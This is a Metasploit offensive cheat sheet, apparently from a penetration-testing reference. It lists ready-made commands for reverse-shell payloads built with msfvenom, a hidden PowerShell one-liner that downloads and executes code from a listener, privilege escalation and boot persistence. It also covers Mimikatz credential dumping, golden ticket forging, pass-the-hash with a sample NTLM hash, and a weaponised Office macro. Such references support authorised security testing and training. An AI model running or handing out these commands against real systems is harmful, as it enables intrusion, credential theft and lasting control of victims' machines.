Installation
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
or docker
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
Sessions
CTRL+Z -> Session in Background sessions -> List sessions sessions -i session_number -> Interact with Session with id sessions -u session_number -> Upgrade session to a meterpreter sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter sessions -c cmd -> Execute a command on several sessions sessions -i 10-20 -c "id" -> Execute a command on several sessions
Background handler
ExitOnSession : the handler will not exit if the meterpreter dies.
screen -dRR sudo msfconsole use exploit/multi/handler set PAYLOAD generic/shell_reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false generate -o /tmp/meterpreter.exe -f exe to_handler [ctrl+a] + [d]
Meterpreter - Basic
Generate a meterpreter
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d ' ' > shell.php && pbpaste >> shell.php $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war $ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py $ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh $ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
Meterpreter Webdelivery
Set up a Powershell web delivery listening on port 8080.
use exploit/multi/script/web_delivery set TARGET 2 set payload windows/x64/meterpreter/reverse_http set LHOST 10.0.0.1 set LPORT 4444 run
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
Get System
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITYSYSTEM
Persistence Startup
OPTIONS: -A Automatically start a matching exploit/multi/handler to connect to the agent -L <opt> Location in target host to write payload to, if none %TEMP% will be used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on which the system running Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back meterpreter > run persistence -U -p 4242
Portforward
portfwd add -l 7777 -r 172.17.0.2 -p 3006
Upload / Download
upload /path/in/hdd/payload.exe exploit.exe download /path/in/victim
Execute from Memory
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
Mimikatz
load mimikatz mimikatz_command -f version mimikatz_command -f samdump::hashes mimikatz_command -f sekurlsa::wdigest mimikatz_command -f sekurlsa::searchPasswords mimikatz_command -f sekurlsa::logonPasswords full
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
Pass the Hash - PSExec
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > exploit SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username SMBUser Lambda no The username to authenticate as
Scripting Metasploit
Using a .rc file, write the commands to execute, then run msfconsole -r ./file.rc. Here is a simple example to script the deployment of a handler an create an Office doc with macro.
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 4646 set ExitOnSession false exploit -j -z use exploit/multi/fileformat/office_word_macro set PAYLOAD windows/meterpreter/reverse_https set LHOST 10.10.14.22 set LPORT 4646 exploit
Multiple transports
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
Then, in AddTransports.ps1
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30 Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
Best of - Exploits
MS17-10 Eternal Blue - exploit/windows/smb/ms17_010_eternalblue MS08_67 - exploit/windows/smb/ms08_067_netapi
References
Multiple transports in a meterpreter payload - ionize
Creating Metasploit Payloads - Peleus